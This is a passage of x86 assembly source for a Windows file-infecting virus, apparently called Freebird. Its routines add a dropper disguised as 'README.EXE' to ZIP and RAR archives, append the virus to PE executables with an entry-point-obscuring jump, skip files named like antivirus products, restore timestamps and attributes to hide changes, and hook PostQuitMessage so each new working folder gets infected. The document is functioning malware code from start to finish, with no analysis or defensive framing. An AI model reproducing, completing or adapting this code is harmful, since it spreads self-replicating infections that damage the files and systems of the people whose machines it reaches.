        mov     ecx,FinRARHeader-RARHeader
        rep     movsb

        mov     esi,[wideBuffer+ebp]
        mov     ecx,[RAROriginal+ebp]
        rep     movsb

        push    dword [wideBuffer+ebp]
        call    dword [_UnmapViewOfFile+ebp]

        push    dword [wideBuffer+4+ebp]
        call    dword [_CloseHandle+ebp]

        push    dword [wideBuffer+8+ebp]
        call    dword [_CloseHandle+ebp]        ; dropper released

infectionErrorCloseUnmapRAR:
        push    dword [mapMem+ebp]
        call    dword [_UnmapViewOfFile+ebp]

infectionErrorCloseMapRAR:
        push    dword [fhmap+ebp]
        call    dword [_CloseHandle+ebp]

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_SetFileTime+ebp]

infectionErrorCloseRAR:
        push    dword [fHnd+ebp]
        call    dword [_CloseHandle+ebp]

infectionErrorAttribRAR:
        pop     esi
        push    dword [fileAttrib+ebp]
        push    esi
        call    dword [_SetFileAttributesA+ebp]

infectionErrorRAR:
        ret

; adds the dropper to a ZIP archive pointed by esi
infectZIP:
        push    esi

        push    esi
        call    dword [_GetFileAttributesA+ebp]
        pop     esi
        inc     eax
        jz      near infectionErrorZIP
        dec     eax

        mov     dword [fileAttrib+ebp],eax

        push    esi
        push    dword 80h
        push    esi
        call    dword [_SetFileAttributesA+ebp]
        pop     esi
        or      eax,eax
        jz      near infectionErrorZIP

        push    esi

        xor     eax,eax
        push    eax
        push    dword 80h
        push    dword 3
        push    eax
        push    eax
        push    dword (80000000h | 40000000h)
        push    esi
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      near infectionErrorAttribZIP
        dec     eax

        mov     [fHnd+ebp],eax

        push    dword 0
        push    eax
        call    dword [_GetFileSize+ebp]
        inc     eax
        jz      near infectionErrorCloseZIP
        dec     eax

        mov     [fileSize+ebp],eax
        mov     [dummy+ebp],eax                 ; required later

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_GetFileTime+ebp]
        or      eax,eax
        jz      near infectionErrorCloseZIP

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorCloseZIP

        mov     dword [fhmap+ebp],eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMapZIP

        mov     [mapMem+ebp],eax

        ; don't rely too much on next part XD
        ; using ZIP32 for tests

        add     eax,[fileSize+ebp]
        sub     eax,16h

        mov     edx,[eax]
        cmp     edx,06054b50h                   ; a ZIP archive?
        jne     near infectionErrorCloseMapZIP
        
        mov     edx,[eax+10h]                   ; already infected?
        add     edx,[mapMem+ebp]
        cmp     dword [edx+2eh],"READ"
        jne     notFoundZIP
        cmp     dword [edx+2eh+4],"ME.E"
        je      near infectionErrorCloseMapZIP

notFoundZIP:
        mov     cl,[edx+4]                      ; get some things from
        mov     [ZIPCver+ebp],cl                ; this entry to be less
        mov     cl,[edx+5]                      ; suspicious
        mov     [ZIPCos+ebp],cl
        mov     cx,[edx+0ch]
        mov     [ZIPCtim+ebp],cx
        mov     cx,[edx+0eh]
        mov     [ZIPCDat+ebp],cx
        mov     cl,[edx+06h]
        mov     [ZIPCvxt+ebp],cl
        mov     cl,[edx+07h]
        mov     [ZIPCeXos+ebp],cl

        ; now load our droper

        xor     eax,eax
        push    eax
        push    dword 00000007h
        push    dword 00000003h
        push    eax
        push    eax
        push    dword 80000000h
        lea     esi,[dropName+ebp]              ; our dropper
        push    esi
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      near infectionErrorCloseMapZIP
        dec     eax

        push    eax
        push    dword 0
        push    eax
        call    dword [_GetFileSize+ebp]
        pop     ebx
        inc     eax
        jz      near infectionErrorCloseMapZIP
        dec     eax

        add     [fileSize+ebp],eax              ; new size
        add     dword [fileSize+ebp],EndOfCentral-LocalHeader

        mov     [ZIPSize+ebp],eax               ; update ZIP header
        mov     [ZIPUncmp+ebp],eax
        mov     [ZIPCsiz+ebp],eax
        mov     [ZIPCunc+ebp],eax
        
        push    ebx

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 2
        push    eax
        push    ebx
        call    dword [_CreateFileMappingA+ebp]
        pop     ebx
        or      eax,eax
        jz      near infectionErrorCloseMapZIP

        push    ebx
        push    eax
        mov     ebx,eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    ebx
        call    dword [_MapViewOfFile+ebp]
        pop     edx
        pop     ebx
        or      eax,eax
        jz      near infectionErrorCloseMapZIP

        mov     [wideBuffer+ebp],eax            ; view of file
        mov     [wideBuffer+4+ebp],edx          ; file mapping
        mov     [wideBuffer+8+ebp],ebx          ; file handle

        mov     esi,eax                         ; get virus CRC32
        mov     edi,[ZIPSize+ebp]
        call    CRC32
        mov     [ZIPCCrc+ebp],eax
        mov     [ZIPCrc+ebp],eax

        xor     eax,eax
        push    eax
        push    dword [fileSize+ebp]
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorCloseZIP

        mov     [fhmap+ebp],eax

        xor     eax,eax
        push    dword [fileSize+ebp]
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMapZIP

        mov     [mapMem+ebp],eax

        add     eax,[dummy+ebp]                 ; size of the old zip
        sub     eax,16h                         ; end header

        mov     ecx,[eax+0ch]                   ; size of central dir
        add     ecx,16h                         ; last header

        mov     esi,[mapMem+ebp]
        add     esi,[eax+10h]                   ; start of dir

        mov     edi,[mapMem+ebp]
        add     edi,[fileSize+ebp]
        sub     edi,ecx                         ; new address

        add     edi,ecx                         ; we must copy it
        add     esi,ecx                         ; reversed

        ; move the central dir
        dec     esi
        dec     edi
moveCentralDir:
        lodsb
        sub     esi,2
        stosb
        sub     edi,2
        dec     ecx
        jnz     moveCentralDir

        mov     eax,[mapMem+ebp]                ; new addres of the
        add     eax,[fileSize+ebp]              ; header
        sub     eax,16h

        ; now add our central entry

        mov     edi,[mapMem+ebp]
        mov     edx,[ZIPSize+ebp]
        add     edx,CentralHeader-LocalHeader
        add     [eax+10h],edx                   ; fix offset
        add     edi,[eax+10h]
        lea     esi,[CentralHeader+ebp]
        mov     ecx,EndOfCentral-CentralHeader
        rep     movsb                           ; add our central entry

        mov     esi,edi                         ; 1st non viral entry

        mov     ecx,EndOfCentral-CentralHeader
        add     [eax+0ch],ecx                   ; fix size
        inc     word [eax+0ah]                  ; one more entry
        inc     word [eax+08h]                  ; once again

        ; now fix the directories offsets
        movzx   ecx,word [eax+0ah]              ; num of entries
        dec     ecx                             ; skip viral one
        mov     ebx,[ZIPSize+ebp]
        add     ebx,CentralHeader-LocalHeader   ; increase len

fixZIPDirLoop:
        add     [esi+2ah],ebx                   ; fix offset
        mov     edx,2eh
        add     dx,[esi+1ch]
        add     dx,[esi+1eh]
        add     dx,[esi+20h]                    ; dir total size
        add     esi,edx
        loop    fixZIPDirLoop

        ; now process local entries
        mov     ebx,[ZIPSize+ebp]
        add     ebx,CentralHeader-LocalHeader
        mov     ecx,[eax+10h]                   ; offs central = local len
        sub     ecx,ebx
        mov     esi,[mapMem+ebp]                ; 1st local
        mov     edi,esi
        add     edi,ebx                         ; new local place

        add     esi,ecx                         ; goto end to move from
        add     edi,ecx                         ; bottom to top

        ; move local entries to its new place
        dec     esi
        dec     edi
moveLocalZIP:
        lodsb
        sub     esi,2
        stosb
        sub     edi,2
        dec     ecx
        jnz     moveLocalZIP

        mov     edi,[mapMem+ebp]
        lea     esi,[LocalHeader+ebp]
        mov     ecx,CentralHeader-LocalHeader
        rep     movsb                           ; copy our local header

        mov     ecx,[ZIPSize+ebp]
        mov     esi,[wideBuffer+ebp]
        rep     movsb                           ; and copy the dropper

        push    dword [wideBuffer+ebp]
        call    dword [_UnmapViewOfFile+ebp]

        push    dword [wideBuffer+4+ebp]
        call    dword [_CloseHandle+ebp]

        push    dword [wideBuffer+8+ebp]
        call    dword [_CloseHandle+ebp]        ; dropper released

infectionErrorCloseUnmapZIP:
        push    dword [mapMem+ebp]
        call    dword [_UnmapViewOfFile+ebp]

infectionErrorCloseMapZIP:
        push    dword [fhmap+ebp]
        call    dword [_CloseHandle+ebp]

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_SetFileTime+ebp]

infectionErrorCloseZIP:
        push    dword [fHnd+ebp]
        call    dword [_CloseHandle+ebp]

infectionErrorAttribZIP:
        pop     esi
        push    dword [fileAttrib+ebp]
        push    esi
        call    dword [_SetFileAttributesA+ebp]

infectionErrorZIP:
        ret


; - archive.inc EOF -
; - findf.inc BOF -

;
; Simply scan current folder for files to infect
;
scandirpe:
        lea     eax,[finddata+ebp]
        push    eax
        lea     eax,[fmask+ebp]
        push    eax
        call    dword [_FindFirstFileA+ebp]
        inc     eax
        jz      near notFound
        dec     eax

        mov     dword [findHnd+ebp],eax

findNext:
        mov     eax,dword [nFileSizeLow+ebp]            ; avoid small files
        cmp     eax,4000h
        jb      near skipThisFile
        mov     ecx,PADDING                             ; avoid already
        xor     edx,edx                                 ; infected files
        div     ecx
        or      edx,edx
        jz      near skipThisFile

        lea     esi,[cFileName+ebp]

        call    isAV
        jc      near skipThisFile

        mov     eax,[_SfcIsFileProtected+ebp]           ; we have sfc?
        or      eax,eax
        jz      near sfcNotAvailable

        ; hehe i've noticed SfcIsFileProtected requires
        ; a wide string not the ansi one... shit
        ; moreover sfc only manages full path names :/
        ; i'm glad with win2000 to test all this things =]

        push    dword 260                               ; 260 wide chars
        lea     edi,[wideBuffer+ebp]
        push    edi                                     ; wide buffer
        xor     eax,eax
        dec     eax
        push    eax                                     ; -1 (zstring)
        push    esi                                     ; ANSI
        inc     eax
        push    eax                                     ; 0
        push    eax                                     ; CP_ACP == 0
        call    dword [_MultiByteToWideChar+ebp]
        or      eax,eax
        jz      skipThisFile                            ; damn

        lea     esi,[dummy+ebp]
        push    esi
        lea     esi,[wideBuffer2+ebp]
        push    esi
        push    dword 260
        lea     esi,[wideBuffer+ebp]
        push    esi
        call    dword [_GetFullPathNameW+ebp]
        or      eax,eax
        jz      skipThisFile                            ; damn (2)

        lea     esi,[wideBuffer2+ebp]
        push    esi
        push    dword 0
        call    dword [_SfcIsFileProtected+ebp]         ; check this file
        or      eax,eax
        jnz     skipThisFile

sfcNotAvailable:
        lea     esi,[cFileName+ebp]
        call    infectpe

skipThisFile:
        lea     eax,[finddata+ebp]
        push    eax
        push    dword [findHnd+ebp]
        call    dword [_FindNextFileA+ebp]
        or      eax,eax
        jnz     near findNext

endScan:
        push    dword [findHnd+ebp]
        call    dword [_FindClose+ebp]

notFound:
        ret

; make the ASCII string uppercase and look for some stringz usual in
; antiviral software to avoid infect them
isAV:
        push    esi
UCaseLoop:
        cmp     byte [esi],'a'
        jb      notUCase
        cmp     byte [esi],'z'
        ja      notUCase
        sub     byte [esi],'a'-'A'
notUCase:
        lodsb
        or      al,al
        jnz     UCaseLoop
        mov     esi,[esp]
avStrLoop:
        mov     ax,word [esi]
        not     ax
        cmp     ax,~'AV'
        je      itIsAV
        cmp     ax,~'DR'
        je      itIsAV
        cmp     ax,~'SP'
        je      itIsAV
        cmp     ax,~'F-'
        je      itIsAV
        cmp     ax,~'AN'
        je      itIsAV
        cmp     ax,~'VE'
        je      itIsAV
        cmp     ax,~'CL'
        je      itIsAV
        cmp     ax,~'ON'
        je      itIsAV
        not     ax
        inc     esi
        or      ah,ah
        jnz     avStrLoop

        clc
        mov     al,0f9h
itIsAV  equ $-1
        pop     esi
        ret

; - findf.inc EOF -
; - hooks.inc BOF -

hookmtx dd      0       ; mutex for multi-threading calls
hookDll db      "USER32",0
hookFc1 db      "PostQuitMessage",0
;
; Just check for directory changes and infect then all files there.
;
setupPerProcess:
        lea     eax,[hookDll+ebp]
        push    eax
        call    dword [_LoadLibraryA+ebp]
        or      eax,eax
        jz      failedToHook

        lea     esi,[hookFc1+ebp]
        push    esi
        push    eax
        call    dword [_GetProcAddress+ebp]

        mov     ecx,eax
        mov     [PostQuitMessageHA+ebp],eax
        lea     esi,[PostQuitMessageH+ebp]
        call    APIHook

        xor     eax,eax
        mov     [hookmtx+ebp],eax               ; hook ready
failedToHook:
        ret

;
; the hook
;
PostQuitMessageH:
        push    dword 12345678h
PostQuitMessageHA   equ $-4
        pushad                                  ; save all
        pushfd

        call    getDelta

        mov     eax,[hookmtx+ebp]               ; ready to infect?
        or      eax,eax
        jnz     hookFailed

        inc     dword [hookmtx+ebp]             ; do not disturb

        ; path0 has current work directory
        lea     esi,[path1+ebp]
        push    esi
        push    dword 260
        call    dword [_GetCurrentDirectoryA+ebp]
        or      eax,eax
        jz      endHook

        mov     ecx,eax                         ; if we're still into
        lea     esi,[path0+ebp]                 ; the same folder, avoid
        lea     edi,[path1+ebp]                 ; infect more files
        rep     cmpsb
        je      endHook

        mov     ecx,eax                         ; update folder
        lea     esi,[path1+ebp]
        lea     edi,[path0+ebp]
        rep     movsb

        call    scandirpe                       ; infect new work
                                                ; folder
        call    findArchives

endHook:
        dec     dword [hookmtx+ebp]             ; ready again
hookFailed:
        popfd
        popad
        ret

;
; My nice (and old) API hook routine.
;
APIHook:
        push    esi
        mov     edx,[baseAddr+ebp]              ; remember to fix it after
                                                ; (probably) reloc!
        mov     edi,edx
        add     edi,[edx+3ch]                   ; begin PE header
        mov     edi,[edi+80h]                   ; RVA import
        or      edi,edi                         ; uh? no imports??? :)
        jz      near _skipHookErr
        add     edi,edx                         ; add base addr
_searchusrImp:
        mov     esi,[edi+0ch]                   ; get name
        or      esi,esi                         ; check is not last
        jz      _skipHookErr
        add     esi,edx                         ; add base addr
        mov     ebx,[esi]
        or      ebx,20202020h
        cmp     ebx,"user"                      ; look for module
        jne     _nextName
        mov     bx,[esi+4]
        cmp     bx,"32"                          ; module found
        je      _usrImpFound
_nextName:                                      ; if not found check
        add     edi,14h                         ; name of next import
        mov     esi,[edi]                       ; module
        or      esi,esi
        jz      _skipHookErr
        jmp     _searchusrImp
_usrImpFound:                                   ; now we have user32
        mov     esi,[edi+10h]                   ; get address table
        or      esi,esi                         ; heh
        jz      _skipHookErr
        add     esi,edx                         ; add base addr again

        mov     edi,ecx                         ; search for API
_nextImp:
        lodsd                                   ; get addrs
        or      eax,eax                         ; chek is not last
        jz      _skipHookErr
        cmp     eax,edi                         ; cmp with API addr
        je      _doHook                         ; found? hook!
        jmp     _nextImp                        ; check next in table
_doHook:
        sub     esi,4
        push    esi                             ; save import addr

        call    dword [_GetCurrentProcess+ebp]        

        pop     esi
        pop     edx
        mov     [fileSize+ebp],edx              ; tmp storage

        lea     edi,[padding+ebp]
        push    edi                             ; shit
        push    dword 4
        lea     edi,[fileSize+ebp]
        push    edi                             ; bytes to write
        push    esi                             ; where to write
        push    eax                             ; current process
        call    dword [_WriteProcessMemory+ebp]
_skipHook:
        ret
_skipHookErr:
        pop     esi
        xor     eax,eax
        ret

; - hooks.inc EOF -
; - infectpe.inc BOF -

; pretty standard padding value, the idea is several viruses use the
; same value to avoid av can use easy ways to manage them
PADDING equ     101

infectpe:
        push    esi

        push    esi
        call    dword [_GetFileAttributesA+ebp]
        pop     esi
        inc     eax
        jz      near infectionError
        dec     eax

        mov     dword [fileAttrib+ebp],eax

        push    esi
        push    dword 80h
        push    esi
        call    dword [_SetFileAttributesA+ebp]
        pop     esi
        or      eax,eax
        jz      near infectionError

        push    esi

        xor     eax,eax
        push    eax
        push    dword 80h
        push    dword 3
        push    eax
        push    eax
        push    dword (80000000h | 40000000h)
        push    esi
        call    dword [_CreateFileA+ebp]
        inc     eax
        jz      near infectionErrorAttrib
        dec     eax

        mov     [fHnd+ebp],eax

        push    dword 0
        push    eax
        call    dword [_GetFileSize+ebp]
        inc     eax
        jz      near infectionErrorClose
        dec     eax

        mov     [fileSize+ebp],eax

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_GetFileTime+ebp]
        or      eax,eax
        jz      near infectionErrorClose

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorClose

        mov     dword [fhmap+ebp],eax

        xor     eax,eax
        push    eax
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMap

        mov     [mapMem+ebp],eax

        mov     edi,eax
        cmp     word [edi],'MZ'
        jne     near infectionErrorCloseUnmap

        add     edi,[edi+3ch]
        cmp     eax,edi
        jae     near infectionErrorCloseUnmap
        add     eax,[fileSize+ebp]
        cmp     eax,edi
        jbe     near infectionErrorCloseUnmap
        cmp     word [edi],'PE'
        jne     near infectionErrorCloseUnmap

        movzx   edx,word [edi+16h]
        test    edx,2h
        jz      near infectionErrorCloseUnmap
        test    edx,2000h
        jnz     near infectionErrorCloseUnmap
        mov     dx,[edi+5ch]
        dec     edx
        jz      near infectionErrorCloseUnmap

        mov     esi,edi
        mov     eax,18h
        add     ax,[edi+14h]
        add     edi,eax

        mov     cx,[esi+06h]
        dec     cx
        mov     eax,28h
        mul     cx
        add     edi,eax

        mov     eax,dword [esi+80h]             ; 1st we need just one
        or      eax,eax                         ; import from k32
        jz      near infectionErrorCloseUnmap

        call    rva2raw
        jc      near infectionErrorCloseUnmap

        add     eax,[mapMem+ebp]
        xchg    eax,edx
k32imploop:
        mov     eax,dword [edx+0ch]
        or      eax,eax
        jz      near infectionErrorCloseUnmap
        call    rva2raw
        jc      near infectionErrorCloseUnmap
        add     eax,[mapMem+ebp]
        mov     ebx,dword [eax]
        or      ebx,20202020h
        cmp     ebx,'kern'
        jne     nextImpMod
        mov     ebx,dword [eax+4]
        or      ebx,00002020h
        cmp     ebx,'el32'
        je      k32ImpFound
nextImpMod:
        add     edx,14h
        mov     eax,dword [edx]
        or      eax,eax
        jz      near infectionErrorCloseUnmap
        jmp     k32imploop
k32ImpFound:
        mov     eax,[edx+10h]
        or      eax,eax
        jz      near infectionErrorCloseUnmap
        mov     edx,eax
        call    rva2raw
        jc      near infectionErrorCloseUnmap
        add     eax,[mapMem+ebp]
        mov     eax,[eax]
        or      eax,eax
        jz      near infectionErrorCloseUnmap
        add     edx,[esi+34h]
        mov     [__imp__+ebp],edx               ; we got 1st import
                                                ; that will be used to
                                                ; get k32 addr in run-time
        mov     eax,[edi+14h]
        add     eax,[edi+10h]
        mov     [virusBeginRaw+ebp],eax

        mov     eax,[edi+0ch]                   ; sect rva
        add     eax,[edi+10h]                   ; sect raw size

        mov     [relocTMP+ebp],eax
        mov     ecx,[esi+34h]
        mov     [baseAddr+ebp],ecx
        add     [relocTMP+ebp],ecx

        mov     eax,[esi+28h]
        mov     [hostEPTMP+ebp],eax             ; reloc and EP ok, now EPO

        call    rva2raw
        jc      near infectionErrorCloseUnmap

        add     eax,[mapMem+ebp]

        ; we look for...
        ;
        ;       mov     [fs:00000000],esp
        ; or...
        ;
        ;       mov     esp,ebp
        ;       pop     ebp
        ;       ret
        ;       db      ffh,ffh,ffh,ffh
        ;       or      db 00h,00h,00h,00h
        ;
        ; and that's ok.
        ;
        push    eax

        mov     ecx,200h
checkNextAddr:
        inc     eax
        cmp     dword [eax],00258964h
        jne     addrNotFound0
        cmp     dword [eax+3],00000000h
        je      addrFound
addrNotFound0:
        cmp     dword [eax],0c35de58bh
        jne     addrNotFound1
        cmp     dword [eax+4],-1
        je      addrFound
        cmp     dword [eax+4],0
        je      addrFound
addrNotFound1:
        dec     ecx
        jnz     checkNextAddr
        pop     eax
        push    eax
addrFound:
        pop     edx

        sub     eax,edx
        mov     edx,eax
        add     edx,[esi+34h]
        add     eax,[hostEPTMP+ebp]
        add     [hostEPTMP+ebp],edx

        call    rva2raw
        jc      near infectionErrorCloseUnmap

        add     eax,[mapMem+ebp]

        push    esi
        push    edi
        mov     esi,eax
        push    esi
        lea     edi,[epobuffTMP+ebp]
        mov     ecx,5
        rep     movsb

        pop     edi
        mov     al,0e9h
        stosb
        mov     eax,[relocTMP+ebp]
        sub     eax,[hostEPTMP+ebp]
        sub     eax,5
        stosd

        pop     edi
        pop     esi

        xor     eax,eax
        mov     [esi+58h],eax

        or      dword [edi+24h],0c0000000h
        and     dword [edi+24h],~(02000000h | 10000000h)

        mov     eax,vSize
        add     eax,[edi+10h]                           ; raw size
        xor     edx,edx
        mov     ecx,[esi+3ch]
        div     ecx
        inc     eax
        xor     edx,edx
        mul     ecx
        mov     [edi+10h],eax                           ; size of raw data

        mov     eax,viSize
        add     eax,[edi+10h]                           ; virt size
        xor     edx,edx
        mov     ecx,[esi+38h]
        div     ecx
        inc     eax
        xor     edx,edx
        mul     ecx
        mov     [edi+08h],eax                           ; size of virt data

        add     eax,[edi+0ch]
        mov     [esi+50h],eax                           ; size of image

        mov     eax,[edi+10h]                           ; calc file size
        add     eax,[edi+14h]                           ; with padding
        mov     ecx,PADDING
        xor     edx,edx
        div     ecx
        inc     eax
        xor     edx,edx
        mul     ecx
        mov     [padding+ebp],eax

        push    dword [mapMem+ebp]
        call    dword [_UnmapViewOfFile+ebp]

        push    dword [fhmap+ebp]
        call    dword [_CloseHandle+ebp]

        xor     eax,eax
        push    eax
        push    dword [padding+ebp]
        push    eax
        push    dword 4
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_CreateFileMappingA+ebp]
        or      eax,eax
        jz      near infectionErrorClose

        mov     [fhmap+ebp],eax

        xor     eax,eax
        push    dword [padding+ebp]
        push    eax
        push    eax
        push    dword 6
        push    dword [fhmap+ebp]
        call    dword [_MapViewOfFile+ebp]
        or      eax,eax
        jz      near infectionErrorCloseMap

        mov     [mapMem+ebp],eax

        pushad
        lea     esi,[vBegin+ebp]
        mov     edi,vSize-4
        call    CRC32
        mov     [myCRC32+ebp],eax
        popad

        mov     ecx,vSize
        lea     esi,[vBegin+ebp]
        mov     edi,12345678h
virusBeginRaw   equ $-4
        add     edi,eax
        rep     movsb

        mov     eax,dword [_CheckSumMappedFile+ebp]
        or      eax,eax
        jz      infectionErrorCloseUnmap

        lea     esi,[chksum+ebp]
        push    esi
        sub     esi,-4
        push    esi
        push    dword [padding+ebp]
        push    dword [mapMem+ebp]
        call    eax
        or      eax,eax
        jz      infectionErrorCloseUnmap

        mov     edx,dword [chksum+ebp]
        mov     dword [eax+58h],edx

infectionErrorCloseUnmap:
        push    dword [mapMem+ebp]
        call    dword [_UnmapViewOfFile+ebp]

infectionErrorCloseMap:
        push    dword [fhmap+ebp]
        call    dword [_CloseHandle+ebp]

        lea     eax,[fileTime2+ebp]
        push    eax
        add     eax,-8
        push    eax
        add     eax,-8
        push    eax
        push    dword [fHnd+ebp]
        call    dword [_SetFileTime+ebp]

infectionErrorClose:
        push    dword [fHnd+ebp]
        call    dword [_CloseHandle+ebp]

infectionErrorAttrib:
        pop     esi
        push    dword [fileAttrib+ebp]
        push    esi
        call    dword [_SetFileAttributesA+ebp]

infectionError:
        ret

; ESI: PE header EAX: rva shit
; out EAX: raw
rva2raw:
        push    eax
        pushad
        mov     edx,esi
        mov     ecx,edx
        mov     esi,eax
        mov     eax,18h
        add     ax,[edx+14h]
        add     edx,eax
        movzx   ecx,word [ecx+06h]
        xor     ebp,ebp
rva2rawLoop:
        mov     edi,[edx+ebp+0ch]
        add     edi,[edx+ebp+8]
        cmp     esi,edi
        jb      foundDamnSect
nextSectPlz:
        add     ebp,28h
        loop    rva2rawLoop
        popad
        pop     eax
        stc
        ret
foundDamnSect:
        sub     esi,[edx+ebp+0ch]
        add     esi,[edx+ebp+14h]
        mov     dword [esp+20h],esi
        popad
        pop     eax
        clc
        ret

; - infectpe.inc EOF -
; END OF FREEBIRD.TXT